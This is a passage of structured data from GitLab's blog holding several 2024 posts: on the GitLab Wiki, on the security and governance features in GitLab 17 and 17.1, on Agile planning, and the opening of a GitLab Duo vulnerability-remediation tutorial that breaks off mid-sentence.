Release","en-us/blog/gitlab-17-2-release.yml","en-us/blog/gitlab-17-2-release",{"_path":5240,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5241,"content":5247,"config":5252,"_id":5254,"_type":16,"title":5255,"_source":17,"_file":5256,"_stem":5257,"_extension":20},"/en-us/blog/get-to-know-the-gitlab-wiki-for-effective-knowledge-management",{"title":5242,"description":5243,"ogTitle":5242,"ogDescription":5243,"noIndex":6,"ogImage":5244,"ogUrl":5245,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5245,"schema":5246},"Get to know the GitLab Wiki for effective knowledge management","The GitLab Wiki helps organizations benefit from Agile planning and knowledge management. Learn best practices for using this powerful tool in your DevSecOps environment.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749660011/Blog/Hero%20Images/blog-image-template-1800x945__21_.png","https://about.gitlab.com/blog/get-to-know-the-gitlab-wiki-for-effective-knowledge-management","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Get to know the GitLab Wiki for effective knowledge management\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Matthew Macfarlane\"}],\n        \"datePublished\": \"2024-07-17\",\n      }",{"title":5242,"description":5243,"authors":5248,"heroImage":5244,"date":5249,"body":5250,"category":1897,"tags":5251},[4454],"2024-07-17","Effective knowledge management is a cornerstone of Agile planning success for organizations across all industries. The [GitLab Wiki](https://docs.gitlab.com/ee/user/project/wiki/), part of the GitLab DevSecOps platform, is a powerful tool that supports this endeavor. With the GitLab Wiki, teams can streamline [Agile planning](https://about.gitlab.com/solutions/agile-delivery/) processes, enhance collaboration, and ensure that valuable information is accessible and up to date, all within a single platform. In this article, you will learn how to harness the GitLab Wiki for effective knowledge management.\n\n## What is the GitLab Wiki?\n\nThe GitLab Wiki is available at both the Project and Group levels, and allows teams to create, organize, and share documentation directly within their GitLab instances. It's a flexible and user-friendly wiki that supports multiple formats, including Markdown, RDoc, AsciiDoc, and Org, making it easy to present information in a readable manner.\n\n## Benefits of using GitLab Wiki for knowledge management\n\nThere are numerous benefits to using the GitLab Wiki for knowledge management as part of an overall Agile planning strategy. Here are four examples:\n\n1. **Centralized information repository:** The GitLab Wiki serves as a single source of truth where all knowledge can be stored. This centralization ensures that team members can easily find the information they need without having to leave the platform for an external solution.\n2. **Collaboration and accessibility:** Being integrated into GitLab helps to foster collaboration and ensures that everyone has access to the latest information.\n3. **Version control:** The GitLab Wiki is bolstered by GitLab's robust version control system. This means every change is tracked, and previous versions can be restored if necessary. This is crucial for maintaining the integrity of documentation over time.\n4. **Templates:** Templates ensure that the content across different pages maintains a consistent format and style, making the documentation more professional and easier to navigate. Templates also save time by providing a predefined structure that can be reused. This reduces the effort required to create new pages or update existing ones.\n\n## Best practices for knowledge management in the GitLab Wiki\n\nHere are five best practices to follow when using the GitLab Wiki:\n\n1. **Organize content logically:** Structure your wiki with clear, logical pages and sub-pages. Use categories to group related information and ensure that the hierarchy is intuitive. This makes it easier for users to navigate and find what you need.\n2. **Standardize documentation practices:** Establish and enforce guidelines for documentation, including consistent formatting, naming conventions, and content structure. Templates, as mentioned before, can help with this.\n3. **Perform regular updates and reviews:** Unlike an issue or epic, wiki pages never close. To ensure the accuracy of wiki pages it's important to schedule regular reviews and updates. Encourage team members to contribute updates as they encounter changes in their work.\n4. **Encourage collaboration:** Foster a culture where team members are encouraged to contribute to the Wiki. This could be through regular knowledge-sharing sessions, incentives for contributions, or integrating documentation updates into daily workflows.\n5. **Link wiki pages to issues and epics:** Use GitLab’s auto-complete capability to link wiki pages with issues and epics. Linking can help your team better locate and reference information throughout a project's lifecycle.\n\n## Get started with the GitLab Wiki\n\nThe GitLab Wiki helps organizations follow Agile planning principles and attain effective knowledge management by ensuring documentation remains a valuable resource. Leveraging GitLab Wiki for knowledge management not only enhances productivity but also fosters a culture of continuous learning and improvement.\n\nIncorporate these strategies into your GitLab Wiki practice and watch as your team's efficiency and collaboration reach new heights. To learn more about the GitLab Wiki, check out [our documentation wiki](https://docs.gitlab.com/ee/user/project/wiki/).\n\n> Try the GitLab Wiki for yourself with a [free 30-day trial of GitLab Ultimate](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial).",[1899,479,695],{"slug":5253,"featured":6,"template":678},"get-to-know-the-gitlab-wiki-for-effective-knowledge-management","content:en-us:blog:get-to-know-the-gitlab-wiki-for-effective-knowledge-management.yml","Get To Know The Gitlab Wiki For Effective Knowledge Management","en-us/blog/get-to-know-the-gitlab-wiki-for-effective-knowledge-management.yml","en-us/blog/get-to-know-the-gitlab-wiki-for-effective-knowledge-management",{"_path":5259,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5260,"content":5266,"config":5270,"_id":5272,"_type":16,"title":5273,"_source":17,"_file":5274,"_stem":5275,"_extension":20},"/en-us/blog/get-to-know-the-security-and-governance-updates-in-gitlab-17-17-1",{"title":5261,"description":5262,"ogTitle":5261,"ogDescription":5262,"noIndex":6,"ogImage":5263,"ogUrl":5264,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5264,"schema":5265},"Get to know the security and governance updates in GitLab 17, 17.1","Dive deep into the new enhancements that can strengthen your organization's security posture, including how-to videos for SAST, DAST, API security, container registry, and more.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098858/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_282096522_securitycompliance.jpeg_1750098857843.jpg","https://about.gitlab.com/blog/get-to-know-the-security-and-governance-updates-in-gitlab-17-17-1","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Get to know the security and governance updates in GitLab 17, 17.1\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2024-07-17\",\n      }",{"title":5261,"description":5262,"authors":5267,"heroImage":5263,"date":5249,"body":5268,"category":674,"tags":5269},[1622],"With every GitLab release we enhance and optimize security and governance solutions to ensure customers have the tools they need to produce secure and compliant software. Our values of [iteration](https://handbook.gitlab.com/handbook/values/#iteration) and [results for customers](https://handbook.gitlab.com/handbook/values/#results) drive our release cycles, and GitLab 17 is no exception. We have been releasing every month for the past 153 months straight!\n\nIn this article, you'll learn my favorite security and governance enhancements released in GitLab 17 and 17.1 and how they can benefit your organization’s security requirements. \n\n- [SAST analyzer streamlining](#sast-analyzer-streamlining)\n- [Android dependency scanning](#android-dependency-scanning)\n- [Custom roles and granular security permissions updates](#custom-roles-and-granular-security-permissions-updates)\n- [Secret detection updates](#secret-detection-updates)\n- [Container registry updates](#container-registry-updates)\n- [API security scanning updates](#api-security-scanning-updates)\n\n## SAST analyzer streamlining\n\nGitLab provides static application security testing ([SAST](https://docs.gitlab.com/ee/user/application_security/sast/)) to examine your source code for known vulnerabilities, detecting vulnerabilities such as SQL injections and cross-site scripting. When SAST kicks off, the programming language used is auto-detected and the appropriate scanner is loaded.\n\nIn GitLab 17, SAST scans the same languages, but now with fewer analyzers, [offering a simpler and more customizable experience](https://about.gitlab.com/releases/2024/05/16/gitlab-17-0-released/#streamlined-sast-analyzer-coverage-for-more-languages). Language-specific analyzers have been replaced with GitLab-managed rules in the Semgrep-based analyzer for the following languages:\n\n- C/C++\n- Swift (iOS)\n- Java/Kotlin (Android)\n- Node.js\n- PHP\n- Ruby\n\nHaving one analyzer for many different languages makes configurations and writing rules easier than ever. See the [supported languages and frameworks documentation](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks) for more information.\n\nWatch this video to learn more:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/_80z6mZmzek?si=i9yPQttxuwVcb7Ye\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Android dependency scanning\n\nIn modern software development, many applications are built from multiple dependencies that are best at performing their intended function. For example, rather than writing a YAML parser, a developer will use a library that parses YAML. This allows developers to focus on the main goal of their application, rather than spending time on utility functions.\n\nWhile the use of dependencies speeds up efficiency, they can be difficult to manage and could introduce vulnerabilities to your application. For this, GitLab provides [dependency scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/), which analyzes dependencies for known vulnerabilities. \n\nMany organizations are using dependencies even when creating native mobile applications. In GitLab 17, we introduced [Android dependency scanning](https://about.gitlab.com/releases/2024/05/16/gitlab-17-0-released/#dependency-scanning-support-for-android) to bridge the gap. Android dependency scanning can be easily added as a [CI/CD catalog component](https://gitlab.com/explore/catalog/components/android-dependency-scanning) – just include the following code in your `.gitlab-ci.yml`:\n\n```\ninclude:\n  - component: gitlab.com/components/android-dependency-scanning/component@1.0.0\n    inputs:\n      stage: test\n```\n\nThis job will also generate a CycloneDX software bill of materials ([SBOM](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/)) report, which may be necessary for compliance. Make sure to scan your Android dependencies as soon as possible, as there are many CVEs out there.\n\nWatch this video to learn more:\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/_80z6mZmzek?si=DdB7j4NAenl-UcrJ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n> Learn more SBOMs and dependencies with [our ultimate guide to SBOMs](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/).\n\n## Custom roles and granular security permissions updates\n\nGitLab provides [custom roles](https://docs.gitlab.com/ee/user/custom_roles.html) to allow organizations to create user roles with the precise privileges and permissions to meet their needs. This enables organizations to [implement the principle of least privilege](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/) to adhere to various compliance standards.\n\n![custom roles screenshot](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098874/Blog/Content%20Images/Blog/Content%20Images/1_aHR0cHM6_1750098873857.png)\n\nIn GitLab 17, managing custom roles has become easier than ever. You can now [edit a custom role and its permissions directly from the UI](https://about.gitlab.com/releases/2024/05/16/gitlab-17-0-released/#edit-a-custom-role-and-its-permissions), whereas, in the past, the role needed to be recreated. Also, for those using GitLab self-managed, [custom roles are now managed at the instance level](https://about.gitlab.com/releases/2024/05/16/gitlab-17-0-released/#manage-custom-roles-at-self-managed-instance-level), allowing administrators to create the roles, and group owners to assign them.\n\nWatch this video to learn more:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/glvvCoc2hkc?si=dl_SwQ7tyVdzirH5\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nThere have also been [several UX improvements](https://about.gitlab.com/releases/2024/05/16/gitlab-17-0-released/#ux-improvements-to-custom-roles) added to this feature along with the introduction of the following permissions:\n\n- assign security policy links\n- manage and assign compliance frameworks\n- manage webhooks\n- manage push rules\n- manage merge request settings (17.1)\n- manage integrations (17.1)\n- manage deploy tokens (17.1)\n- read CRM contacts (17.1)\n\nGitLab releases usually include new permissions to further enable the implementation of the principle of least privilege. To learn more about the available granular security permissions, [visit the available custom permission documentation](https://docs.gitlab.com/ee/user/custom_roles/abilities.html).\n\n## Secret detection updates\n\nDevelopers may accidentally commit secrets like keys or API tokens to Git repositories from time to time. After a sensitive value is pushed to a remote repository, anyone with access to the repository can impersonate the authorized user of the secret and cause mayhem. When this occurs the exposed secrets must be revoked and replaced to address this risk, which can cause system downtime.\n\nGitLab provides [secret detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/) to address this risk, and in GitLab 17 it’s gotten even better with the following enhancements:\n\n- [Support for remote rulesets when overriding or disabling rules](https://about.gitlab.com/releases/2024/05/16/gitlab-17-0-released/#secret-detection-now-supports-remote-rulesets-when-overriding-or-disabling-rules): - Allows you to override or disable rules via a remote configuration. Therefore, you can scale rule configurations across multiple projects using only one [TOML](https://toml.io/en/) file.\n- [Advanced vulnerability tracking](https://about.gitlab.com/releases/2024/05/16/gitlab-17-0-released/#introducing-advanced-vulnerability-tracking-for-secret-detection): Detects when the same secret has moved within a file due to refactoring or unrelated changes. This leads to reduced duplicate findings, simplifying vulnerability management.\n\nIn GitLab 17.1, [secret push protection](https://about.gitlab.com/releases/2024/06/20/gitlab-17-1-released/#secret-push-protection-available-in-beta) is now in Beta. Secret push protection checks the content of each commit pushed to GitLab. If any secrets are detected, the push is blocked and displays information about the commit. Therefore, a developer does not need to do the extra work of removing and rotating secrets, since they are never committed upstream.\n\n![Push block eue to detected secret](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098874/Blog/Content%20Images/Blog/Content%20Images/2_aHR0cHM6_1750098873858.png)\n\nWhen [push protection occurs](https://about.gitlab.com/blog/prevent-secret-leaks-in-source-code-with-gitlab-secret-push-protection/), you can see it displays additional information on the commit, including:\n\n- the commit ID that contains the secret\n- the filename and line number that contains the secret\n- the type of secret\n\n**Note:**  [Enabling secret push protection](https://docs.gitlab.com/ee/user/application_security/secret_detection/secret_push_protection/#enable-secret-push-protection) is as easy as flipping a switch in GitLab Security Configuration.\n\nWatch this video to learn more:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/ZNtwXVj3tA8?si=4xJ1rWdThpVjvebv\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Container registry updates\n\nGitLab provides a [built-in container registry](https://docs.gitlab.com/ee/user/packages/container_registry/), making it easy for developers to store and manage container images for each GitLab project without context switching. GitLab 17.1 includes several features to enhance the security and efficiency of using the registry:\n- [Container images linked to signatures](https://about.gitlab.com/releases/2024/06/20/gitlab-17-1-released/#container-images-linked-to-signatures): Container images in the registry can now be signed and associated with the signature. This can reduce image tampering by allowing developers to quickly find and validate the signatures that are associated with a container image\n- [Display the last published date for container images](https://about.gitlab.com/releases/2024/06/20/gitlab-17-1-released/#display-the-last-published-date-for-container-images): The container registry UI has been updated to include accurate `last_published_at timestamps`, putting critical data at the top of view.\n- [Sort container registry tags by publish date](https://about.gitlab.com/releases/2024/06/20/gitlab-17-1-released/#sort-container-registry-tags-by-publish-date): Allows developers to quickly find and validate the most recently published container image.\n\n![Signed container details](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098874/Blog/Content%20Images/Blog/Content%20Images/3_aHR0cHM6_1750098873860.png)\n\nAdditionally we’ve introduced [container scanning for the registry](https://about.gitlab.com/releases/2024/06/20/gitlab-17-1-released/#container-scanning-for-registry). The container images being used in your application may themselves be based on other container images that contain known vulnerabilities. Since developers heavily make use of the built-in container registry, it is a no-brainer to introduce [container scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/) for the registry.\n\n[Container scanning for the registry](https://docs.gitlab.com/ee/user/application_security/container_scanning/#container-scanning-for-registry) can be easily enabled by flipping a switch in GitLab Security Configuration. Once it’s enabled, whenever a container image is pushed to the container registry in your project, GitLab checks its tag. If the tag is `latest`, then GitLab creates a new pipeline that scans the image and even produces a CycloneDX SBOM.\n\n**Note:** At the moment, a vulnerability scan is only performed when a new advisory is published. We are working to detract all vulnerabilities in the registry itself in future iterations.\n\nWatch this video to learn more:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/Zuk7Axs-CRw?si=odlgT5HWv_KOnBtq\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## API security scanning updates\n\nWhile SAST does a great job of finding vulnerabilities in static source code, there can still be vulnerabilities present in the running application that cannot be detected in source code, such as broken authentication and security misconfigurations. For these reasons, GitLab provides dynamic application security testing ([DAST](https://docs.gitlab.com/ee/user/application_security/dast/)) and [Web API fuzzing](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/index.html) to help discover bugs and potential security issues that other QA processes may miss. \n\nIn GitLab 17, we’ve introduced [several enhancements](https://about.gitlab.com/releases/2024/05/16/gitlab-17-0-released/#api-security-testing-analyzer-updates) to our [dynamic scanners which target Web APIs](https://docs.gitlab.com/ee/user/application_security/api_security_testing/index.html), including:\n- system environment variables are now passed from the CI runner to the custom Python scripts used for certain advanced scenarios (like request signing)\n- API Security containers now run as a non-root user, which improves flexibility and compliance\n- support for servers that only offer TLSv1.3 ciphers, which enables more customers to adopt API security testing.\n- scanner image upgraded to Alpine 3.19, which addresses security vulnerabilities\n\nIn GitLab 17.1, additional configuration variables were added to [API security scanning](https://about.gitlab.com/releases/2024/06/20/gitlab-17-1-released/#api-security-testing-analyzer-updates) and [API fuzzing](https://about.gitlab.com/releases/2024/06/20/gitlab-17-1-released/#fuzz-testing-analyzer-updates) to allow:\n- creation of a comma-separated list of HTTP success status codes that define whether the job has passed\n- disabling of waiting for the target API to become available before scanning begins\n- specifying the expected status code for the API target availability check\n\nWatch this video to learn more:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/CcyOoBgSPUU?si=hAMQfmUTlLRKhPSg\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Learn more about other enhancements\n\nGitLab 17 and 17.1 also introduced several other security and governance features and enhancements, too many to cover in this blog. Some of these features include:\n\n- [Updated filtering on the Vulnerability Report](https://about.gitlab.com/releases/2024/05/16/gitlab-17-0-released/#updated-filtering-on-the-vulnerability-report): You can now use the filtered search component to filter the Vulnerability Report by any combination of status, severity, tool, or activity.\n- [Toggle merge request approval policies to fail open or fail closed](https://about.gitlab.com/releases/2024/05/16/gitlab-17-0-released/#toggle-merge-request-approval-policies-to-fail-open-or-fail-closed): A new fail open option for merge request approval policies to offer flexibility to teams who want to ease the transition to policy enforcement as they roll out controls in their organization.\n- [Optional configuration for policy bot comment](https://about.gitlab.com/releases/2024/05/16/gitlab-17-0-released/#optional-configuration-for-policy-bot-comment): The security policy bot posts a comment on merge requests when they violate a policy to help users understand when policies are enforced on their project, when evaluation is completed, and if there are any violations blocking an MR, with guidance to resolve them.\n- [Merge request approval policies fail open/closed (policy editor)](https://about.gitlab.com/releases/2024/06/20/gitlab-17-1-released/#merge-request-approval-policies-fail-openclosed-policy-editor): Within the policy editor users can now toggle security policies to fail open or fail closed. This enhancement extends the YAML support to allow for simpler configuration within the policy editor view.\n- [Project owners receive expiring access token notifications](https://about.gitlab.com/releases/2024/06/20/gitlab-17-1-released/#project-owners-receive-expiring-access-token-notifications): Both project owners and maintainers with direct membership now receive email notifications when their project access tokens are close to expiring. This helps keep more people informed about upcoming token expiration.\n\nThese are some of the newest security and compliance enhancements provided in GitLab 17 and 17.1 that can be applied to strengthen your organization's security posture! To learn more about GitLab and the other ways we can strengthen your organization's security throughout all parts of the software development lifecycle, check out the following links:\n\n- [GitLab Security and Compliance](https://about.gitlab.com/solutions/security-compliance/)\n- [GitLab Application Security documentation](https://docs.gitlab.com/ee/user/application_security/)\n- [GitLab security and governance overview video](https://youtu.be/Y4RC-SW8Ric)\n- [GitLab Complete DevSecOps demo](https://gitlab.com/gitlab-da/tutorials/security-and-governance/devsecops/simply-vulnerable-notes)\n- [GitLab Complete DevSecOps tutorial](https://gitlab-da.gitlab.io/tutorials/security-and-governance/devsecops/simply-vulnerable-notes/) \n- [Ultimate guide to the principle of least privilege](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/)\n",[674,695,696,479,754],{"slug":5271,"featured":92,"template":678},"get-to-know-the-security-and-governance-updates-in-gitlab-17-17-1","content:en-us:blog:get-to-know-the-security-and-governance-updates-in-gitlab-17-17-1.yml","Get To Know The Security And Governance Updates In Gitlab 17 17 1","en-us/blog/get-to-know-the-security-and-governance-updates-in-gitlab-17-17-1.yml","en-us/blog/get-to-know-the-security-and-governance-updates-in-gitlab-17-17-1",{"_path":5277,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5278,"content":5284,"config":5289,"_id":5291,"_type":16,"title":5292,"_source":17,"_file":5293,"_stem":5294,"_extension":20},"/en-us/blog/how-gitlab-agile-planning-improves-collaborative-project-management",{"title":5279,"description":5280,"ogTitle":5279,"ogDescription":5280,"noIndex":6,"ogImage":5281,"ogUrl":5282,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5282,"schema":5283},"How GitLab Agile planning improves collaborative project management","The transformation that GitLab brings to project management is not just about using a tool; it’s about fostering a culture of collaboration and continuous improvement. Find out how.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097041/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2822%29_718ZuurL0op4weunB2fBlD_1750097040694.png","https://about.gitlab.com/blog/how-gitlab-agile-planning-improves-collaborative-project-management","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab Agile planning improves collaborative project management\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amanda Rueda\"}],\n        \"datePublished\": \"2024-07-16\",\n      }",{"title":5279,"description":5280,"authors":5285,"heroImage":5281,"date":5286,"body":5287,"category":1897,"tags":5288},[1894],"2024-07-16","Effective collaboration is the backbone of Agile project management, enabling enterprise teams to deliver high-quality software efficiently. GitLab’s comprehensive platform enhances collaboration, streamlines workflows, and supports [Agile principles](https://about.gitlab.com/solutions/agile-delivery/). In this article, you'll learn how GitLab empowers teams to work together seamlessly and improve project outcomes.\n\n## The value of collaborative project management for enterprise Agile teams\n\nAdopting collaborative project management practices is essential for Agile teams to thrive in today’s dynamic development environments. Here’s why it matters and how GitLab enterprise Agile planning helps:\n\n- **Enhanced communication:** Collaboration ensures communication flows smoothly across all team members, preventing misunderstandings and aligning everyone toward common goals. This is crucial in enterprise Agile environments where rapid iterations and continuous feedback are key.\n  - *Decomposing epics and using threaded comments in GitLab keep everyone on the same page and fosters detailed discussions within issues.*\n- **Increased efficiency:** By fostering a collaborative atmosphere, teams can leverage each member's unique skills and expertise, leading to faster problem-solving and task completion. Collaboration tools streamline workflows, reduce bottlenecks, and enable teams to deliver value more quickly.\t\n  - *GitLab's unified platform integrates all aspects of development, from planning to deployment, ensuring streamlined and efficient workflows.*\n\n- **Improved decision-making:** When team members work closely together, they can share diverse perspectives and insights, leading to better decision-making. Collaboration promotes a culture of collective intelligence, where the best ideas are identified and implemented.\n  - *GitLab's issue boards and labels help organize and prioritize ideas, making it easier to evaluate options and make informed decisions.*\n- **Boosted morale and engagement:** Working in a collaborative environment where contributions are valued can significantly boost team morale and engagement. Agile teams that collaborate effectively are more motivated, feel a stronger sense of ownership, and are more committed to project success.\n  - *Recognize and celebrate achievements by linking to team member contributions and activity feed in GitLab.*\n- **Higher quality outputs:** Collaborative efforts often result in higher quality deliverables. Continuous feedback and peer reviews ensure that issues are caught early and addressed promptly, leading to more refined and robust products.\n  - *GitLab's milestone tracking and project templates ensure consistent quality standards across projects, allowing for thorough reviews and standardization.*\n- **Adaptability and flexibility:** Agile teams must be able to pivot quickly based on feedback and changing requirements. Collaboration provides the flexibility to adapt plans and strategies in real time, ensuring that the team remains responsive and aligned with project objectives.\n  - *GitLab's roadmaps and dynamic scheduling features allow for adjustment of timelines and priorities on the fly, keeping the team Agile and responsive to change.*\n\nAs a product manager, I’ve seen firsthand how these benefits can transform a team's performance. By integrating these collaborative practices, Agile teams can enhance their productivity, innovation, and overall project success.\n\n> Follow [GitLab's Agile planning updates and insights](https://about.gitlab.com/blog/categories/agile-planning/).\n\n## Achieve Agile success with GitLab\n\nGitLab, with its comprehensive suite of tools, is perfectly positioned to support these collaborative efforts.\n\n- **Streamlined Agile development:** GitLab supports hierarchical planning, allowing teams to structure projects into epics, which can then be broken down into features, user stories, and tasks. This clear organization ensures that complex projects are manageable and transparent, fostering continuous incremental value delivery. By breaking down work into detailed segments, GitLab helps Agile teams maintain focus and achieve goals efficiently.\n\n![Nested list of epics and child issues](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097050/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097050298.png)\n\n- **Enhanced visibility and accountability:** Managing dependencies is crucial for cross-functional initiatives. GitLab's tools for creating, tracking, and visualizing dependencies give team members a clear understanding of how their work fits into the larger project. This visibility prevents bottlenecks and keeps efforts aligned with project goals, promoting accountability and coordinated progress.\n\n![screenshot showing dependencies for initiatives](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097050/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097050300.png)\n\n- **Unified platform for all users:** GitLab unifies all stakeholders under a single platform, eliminating the silos often created by using disparate tools. This enhances communication and collaboration across teams. Whether you're a developer, project manager, QA specialist, or UX designer, GitLab ensures everyone can access the same data and tools, fostering a more cohesive working environment.\n\n- **Real-time collaboration and communication:** GitLab supports real-time collaboration through features like merge requests, issue tracking, and continuous integration/continuous deployment ([CI/CD](https://about.gitlab.com/topics/ci-cd/)) pipelines. These features streamline the development process and encourage continuous feedback and iterative improvements. Integrated chat, commenting on merge requests, and real-time notifications ensure everyone stays informed and aligned.\n\n![Screenshot of a Chat conversation among product, development and design teams](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097050/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097050305.png)\n\n- **Data-driven decision-making and continuous improvement:** Every action in GitLab can be measured, providing valuable insights that guide strategic planning and operational adjustments. [GitLab's analytics capabilities](https://about.gitlab.com/solutions/value-stream-management/) allow teams to monitor key performance indicators like cycle times and deployment frequencies. This data-driven approach ensures decisions are based on evidence rather than assumptions, aligning with lean principles and promoting continuous improvement.\n\n![Value Stream Analytics dashboard](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097050/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097050308.png)\n\n## Start your enterprise Agile planning transformation\n\nThe transformation that GitLab brings to project management is exciting. It’s not just about using a tool; it’s about fostering a culture of collaboration and continuous improvement. Seeing my teams move from siloed efforts to a unified, efficient, and motivated workforce has been incredibly rewarding. \n\nGitLab redefines collaborative project management by integrating comprehensive planning tools with real-time collaboration features in a single platform. This aligns seamlessly with Agile practices, empowering teams to manage projects more efficiently and precisely. For organizations of all sizes, GitLab provides the tools needed to navigate the complexities of modern software development, ensuring successful and timely project delivery.\n\n> Get started today with enterprise Agile planning with a [free 30-day trial of GitLab Ultimate](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial).",[1899],{"slug":5290,"featured":92,"template":678},"how-gitlab-agile-planning-improves-collaborative-project-management","content:en-us:blog:how-gitlab-agile-planning-improves-collaborative-project-management.yml","How Gitlab Agile Planning Improves Collaborative Project Management","en-us/blog/how-gitlab-agile-planning-improves-collaborative-project-management.yml","en-us/blog/how-gitlab-agile-planning-improves-collaborative-project-management",{"_path":5296,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5297,"content":5303,"config":5309,"_id":5311,"_type":16,"title":5312,"_source":17,"_file":5313,"_stem":5314,"_extension":20},"/en-us/blog/developing-gitlab-duo-use-ai-to-remediate-security-vulnerabilities",{"title":5298,"description":5299,"ogTitle":5298,"ogDescription":5299,"noIndex":6,"ogImage":5300,"ogUrl":5301,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5301,"schema":5302},"Developing GitLab Duo: Use AI to remediate security vulnerabilities ","This tutorial shows how GitLab Duo Vulnerability Explanation and GitLab Duo Vulnerability Resolution, along with our other AI-powered features, can help to address vulnerabilities quickly.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098106/Blog/Hero%20Images/Blog/Hero%20Images/blog-hero-banner-1-0178-820x470-fy25_7JlF3WlEkswGQbcTe8DOTB_1750098106040.png","https://about.gitlab.com/blog/developing-gitlab-duo-use-ai-to-remediate-security-vulnerabilities","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Developing GitLab Duo: Use AI to remediate security vulnerabilities \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"},{\"@type\":\"Person\",\"name\":\"Alana Bellucci\"}],\n        \"datePublished\": \"2024-07-15\",\n      }",{"title":5298,"description":5299,"authors":5304,"heroImage":5300,"date":5306,"body":5307,"category":791,"tags":5308},[4808,5305],"Alana Bellucci","2024-07-15","You’ve just started into a new job, and on your first day, a large-scale production incident requires all hands on deck. There are a number of critical new vulnerabilities that require immediate attention, analysis, mitigation and remediation. Where do you start your investigation? \n\nLearn how GitLab Duo Vulnerability Explanation and GitLab Duo Vulnerability Resolution, along with our other AI-powered features, can help you begin addressing vulnerabilities in minutes. You will learn how to benefit from AI-powered assistance to analyze and explain vulnerabilities in a practical example. Additional remediation is highlighted with AI-generated code fixes in MRs to aid faster vulnerability resolution.\n\n> Start [a free trial of GitLab Duo](https://about.gitlab.com/gitlab-duo/#free-trial) to bring these powerful vulnerability remediation benefits to your own organization!\n\n## How to get started: Analyze\n\nThe first step is to analyze the impact and severity of the vulnerability. Open the GitLab UI and navigate into the [vulnerability report](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/) in the `Secure > Vulnerability Report` menu. Filter the vulnerability list by `SAST`, and identify the most critical vulnerabilities to work on.\n\n![Vulnerability reports overview](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/vulnerability_reports_overview_aHR0cHM6_1750098116056.png)\n\nThe SAST scanner results are summarized in the detail view, linking to the source code. They provide details from publicly available security advisories. As a developer, it is often hard to start the analysis from the security report, unless you are fully aware of the attack scope, technical details, and vulnerable environments.\n\n## Understand and mitigate with Vulnerability Explanation \n\nUnderstanding the vulnerability and how to fix it in the best and most efficient way 